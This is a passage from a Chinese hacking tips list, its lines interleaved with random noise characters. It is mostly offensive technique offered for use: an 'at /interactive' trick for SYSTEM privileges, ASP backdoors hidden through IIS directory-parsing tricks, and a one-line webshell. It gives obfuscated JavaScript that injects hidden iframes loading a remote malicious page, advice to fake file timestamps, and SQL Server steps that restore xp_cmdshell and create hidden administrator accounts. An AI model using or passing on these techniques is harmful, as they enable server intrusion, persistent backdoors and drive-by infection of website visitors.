+ _0 B; X3 s6 Z4 i( g3 {* J52、at "12:17" /interactive cmd( b, G" k& o* [& d s
执行后可以用AT命令查看新加的任务
% S$ L7 p3 Q" ]# l用AT这个命令以交互的方式运行cmd.exe 这样运行的cmd.exe是system权限。# x$ T, e- ?2 H! H$ X
, E h6 O5 t0 S! d( B* G T53、隐藏ASP后门的两种方法
9 z) Q) e1 ^9 {7 H' O2 H5 F1、建立非标准目录:mkdir images..\' U: }( V4 K# G2 }; Q
拷贝ASP木马至目录:copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp' X0 x( _) g0 @* ]% O
通过web访问ASP木马:http://ip/images../news.asp?action=login
7 Y0 A b" {) X- m7 P如何删除非标准目录:rmdir images..\ /s- f S) Y. ^* `" _- r
2、Windows中的IIS会对以.asp结尾的目录中的文件进行解析,以达到我们隐藏自己的网页后门的目的:* Z$ f6 j% R' E* m" j
mkdir programme.asp6 |! w9 l$ V4 F+ i( C* n: _
新建1.txt文件内容:<!--#include file=”12.jpg”-->
0 _1 w4 t( Q: r- e1 k2 [新建12.jpg文件内容:<%execute(request("l"))%> 或使用GIF与ASP合并后的文件
5 ~# o% o/ X- y8 n) G& fattrib +H +S programme.asp
; W- K8 z& J, e6 M- K4 R# L+ Y通过web访问ASP一句话木马:http://ip/images/programme.asp/1.txt. t$ f) ^: L+ C4 ?$ N! D j2 _- u
& ~- x( Z) q. m5 e
54、attrib /d /s c:\windows +h +s,后windows目录变为隐藏+系统,隐藏属性为灰不可更改,windows目录下面的文件和目录并没有继承属性,原来是什么样还是什么样。4 w1 U- N! E; |: h
然后在利用attrib /d /s c:\windows -h -s,windows目录可以显示,隐藏属性可以再次选中。+ w ?: [% v. \. _( _1 G; B4 k
4 g# q, J- \' q# }4 J
55、JS隐蔽挂马& `0 @* @. I7 H; Z: b8 Y
1.
/ u- V* c/ B B" W2 |. Nvar tr4c3="<iframe src=ht";9 w0 Y2 E% k1 b1 U: n9 z- `
tr4c3 = tr4c3+"tp:/"; u% K n$ o$ J1 U5 e) ?0 z
tr4c3 = tr4c3+"/ww";6 w! r+ V& ~' f2 E: t7 ~) S( ]
tr4c3 = tr4c3+"w.tr4";
( w& I8 b* H9 ttr4c3 = tr4c3+"c3.com/inc/m";
! p1 e) ^, L3 Y5 `6 x' h' Ttr4c3 = tr4c3+"m.htm style="display:none"></i";
/ L. j" U/ g Xtr4c3 =tr4c3+"frame>'";
[3 v$ p/ D5 {; Q$ a6 J7 {& r, Zdocument.write(tr4c3);. \7 q/ U# n6 F. `
避免被管理员搜索网马地址找出来。把变量名定义的和网站本身的接近些,混淆度增加。
& k0 ]0 H1 F0 s7 s( [: b R5 Y" O' w0 h& a0 j0 f3 B4 U
2.; J/ Z- H4 a+ B8 M; R0 u! A/ N
转换进制,然后用EVAL执行。如) x1 q+ p! j8 V/ X! _! a
eval("\144\157\143\165\155\145\156\164\56\167\162\151\164\145\40\50\42\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\167\167\167\56\164\162\64\143\63\56\143\157\155\57\151\156\143\57\155\155\56\150\164\155\40\163\164\171\154\145\75\42\42\144\151\163\160\154\141\171\72\156\157\156\145\42\42\76\74\57\151\146\162\141\155\145\76\42\51\73");' |0 R8 Y" R0 V. n# [1 L& F, y8 @
不过这个有点显眼。
, y* q$ m8 D! Y+ x! R3.- {; K5 J+ I2 f8 |1 i5 ~
document.write ('<iframe src=http://www.tr4c3.com/inc/mm.htm style="display:none"></iframe>');
& C! L, u, ~" [6 ^5 b) q1 c最后一点,别忘了把文件的时间也修改下。& u. e: e' ]0 ]* T- `
6 T5 m( y+ V2 j P, Z5 B6 c56.3389终端入侵常用DOS命令: i6 P$ f$ ?9 v; _$ K o
taskkill taskkill /PID 1248 /t& k. ]; H. k' Y2 T# m* n, Z
1 T- a6 C, d4 B0 E3 R4 o, ptasklist 查进程9 b; q% G2 j* ^% h
* a, r. w5 z$ f$ F0 U
cacls "C:\Program Files\ewido anti-spyware 4.0\guard.exe" /d:everyone 改、降低某文件权限
1 y1 X8 c/ i8 f9 h& U: Qiisreset /reboot
7 A9 S4 X. W, P$ Btsshutdn /reboot /delay:1 重起服务器
, L9 j) ~; h0 l/ j$ j, Q& n* X) y2 `0 q
logoff 12 要使用会话 ID(例如,会话 12)从会话中注销用户,
; G" m M" l/ b
0 k3 K5 V7 {6 z6 }2 Xquery user 查看当前终端用户在线情况* [) y8 Z# [8 n9 _4 f& E+ ~
! @7 L; F4 _/ s/ {2 Y) [& n要显示有关所有会话使用的进程的信息,请键入:query process * N- Q+ |0 ^1 Q1 M7 M r
& `7 k" @" k1 c. @* e" M' K& B5 W M
要显示有关会话 ID 2 使用的进程的信息,请键入:query process /ID:2
9 m5 q2 o% \1 j! G8 a. E( p$ W0 J- E# F4 I; V8 B
要显示有关服务器 SERVER2 上所有活动会话的信息,请键入:query session /server:SERVER2
6 W. T. e: F) h+ A& v0 w
2 N: f) l4 a E4 D/ D7 i( z% c要显示有关当前会话 MODEM02 的信息,请键入:query session MODEM02
9 u7 R" K* v) A+ |+ i2 l/ |% J7 N" p$ r
命令列:rundll32.exe user.exe,restartwindows 功能: 系统重启1 F. q7 q1 I( Z1 m2 @3 \
) ~2 J6 N {# L9 Z命令列:rundll32.exe user.exe,exitwindows 功能: 关闭系统( W! W( F8 {) z
6 K8 u& N8 F) Q: ^" Z' Z命令列: rundll32.exe user.exe,restartwindows 功能: 强行关闭所有程式并重启机器。+ }1 B- Y9 _" W2 r/ ^3 [
~ i8 w5 w* p8 P" a* B命令列: rundll32.exe user.exe,exitwindows 功能: 强行关闭所有程式并关机
0 x0 v( a$ i) R
6 G3 @+ `! f4 u" f0 r# l56、在地址栏或按Ctrl+O,输入:3 w' x: V9 B* z# M
javascript:s=document.documentElement.outerHTML;document.write('<body></body>');document.body.innerText=s;
, [4 J# }$ U. ^+ b* L9 ~% l3 K; U; w. n2 v$ l3 J# X3 G* j# P* v
源代码就出来了。不论加密如何复杂,最终都要还原成浏览器可以解析的html代码,而documentElement.outerHTML正是最终的结果。9 z4 m7 I# e- j5 k5 C
5 a% {, p p$ f" v; u" B! q57、net user的时候,是不能显示加$的用户,但是如果不处理的话,
5 |, H* p* e: G用net localgroup administrators是可以看到管理组下,加了$的用户的。
0 y7 `: l6 q4 y4 c5 R% Z$ f
. a7 l+ i& i7 {58、 sa弱口令相关命令- F9 A. h/ {9 J( ~
, M+ a5 G2 u! _& Q3 w6 Q; p
一.更改sa口令方法:
- n& C# T# |; S* r9 C5 f- e; E7 d6 S用sql综合利用工具连接后,执行命令:/ x& Q; j9 e/ O/ G/ G
exec sp_password NULL,'20001001','sa'
( s( w! m6 F* q7 \) `6 a. o(提示:慎用!)2 w' Z8 g& \) T- y6 q' j% a7 Y& H
! I1 R# A$ A# J" Q6 V: P7 R二.简单修补sa弱口令.- a% {* |( v% I7 }
- S! w) ]) y) M3 g- s/ i
方法1:查询分离器连接后执行:
8 B5 K- Z3 Y- V* lif exists (select * from' R1 f. Q9 `( c+ x# H* R. A
dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and
' B5 y3 G2 t( i3 o# T, KOBJECTPROPERTY(id, N'IsExtendedProc') = 1)9 }+ c2 f+ w7 V& l* y% j9 s- K
" g i/ d8 G6 v y% rexec sp_dropextendedproc N'[dbo].[xp_cmdshell]'2 Z6 S J5 P; t0 H. m# i
$ T5 g# T- |, ?# ?& eGO
, ]2 |' j3 ^+ U+ Q5 t5 T0 T) l3 [$ h4 f. C" |( c' A
然后按F5键命令执行完毕
1 O3 x8 }3 W. v9 o" l" y- }, Q- N& G% X) j: x
方法2:查询分离器连接后
' ]2 H+ K1 g( Z0 m7 ?第一步执行:use master( m5 @1 X! ~9 M( `; }+ I! o7 J
第二步执行:sp_dropextendedproc 'xp_cmdshell'
0 q( d, E8 x/ G+ d, N1 g% _然后按F5键命令执行完毕
8 a$ B- v0 s. V2 K; J* y4 s' J' M5 a# r
4 S2 P1 \% {7 V: `$ h4 N8 ~8 \三.常见情况恢复执行xp_cmdshell.# w8 I. R5 h/ Y H* c5 C
7 k: [# M9 |* y
; D2 X9 ^* D+ v4 S
1 未能找到存储过程'master..xpcmdshell'.0 ^* P. Z. p7 ^- b, l3 O! R
恢复方法:查询分离器连接后,( v8 n3 x4 q( H9 p* {, A
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
9 e& Q9 P: f( m1 |, q第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
4 m# A" ~8 H) r然后按F5键命令执行完毕
7 m! y V! G* V* t& I" h
- C# v1 T& o$ r8 F6 n0 ~6 P2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
5 V4 U8 h- x7 \9 y4 ?9 J4 o n$ l/ b% T( X恢复方法:查询分离器连接后,% ^) m: }1 S) \5 K6 n3 C! B
第一步执行:sp_dropextendedproc "xp_cmdshell"
5 y7 ]8 s( U1 H+ E* r" z第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'' w2 j; n1 V, I( c
然后按F5键命令执行完毕3 d# V# h) t5 l
! _. `% r) j( p, Z' f2 X' y3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)- r, G- `5 A8 w( x& G
恢复方法:查询分离器连接后,
. h$ C. a; _& V第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
0 {& ^0 u- v- \% i# m第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll' $ f: d* Z' f3 j! S; X6 T
然后按F5键命令执行完毕: R2 K& j. s A3 q
' B: O* C$ a3 C- K四.终极方法.9 L/ Q9 {2 U; f% K$ \
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
2 A5 E( f$ Z5 {0 _& K查询分离器连接后,1 {2 A( D% M5 E4 h6 t5 I1 \
2000servser系统:) @7 ^, M, K1 g4 @
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 用户名 密码 /add'
' X& p" P b7 s. {( F
9 [1 x3 ~# e/ ^ b$ j. q5 J4 r! Qdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 用户名 /add'
" n# u( U9 i2 c
5 H7 Q" X3 k' N i) vxp或2003server系统:
" ^+ V/ m# q% w
( q8 w; b7 U S$ Wdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 用户名 密码 /add'+ [& q0 S( q7 U) H5 c9 g
) V' W# {" ]3 R6 j& }/ v4 Rdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 用户名 /add'
! E( g$ ?1 o O) b2 P |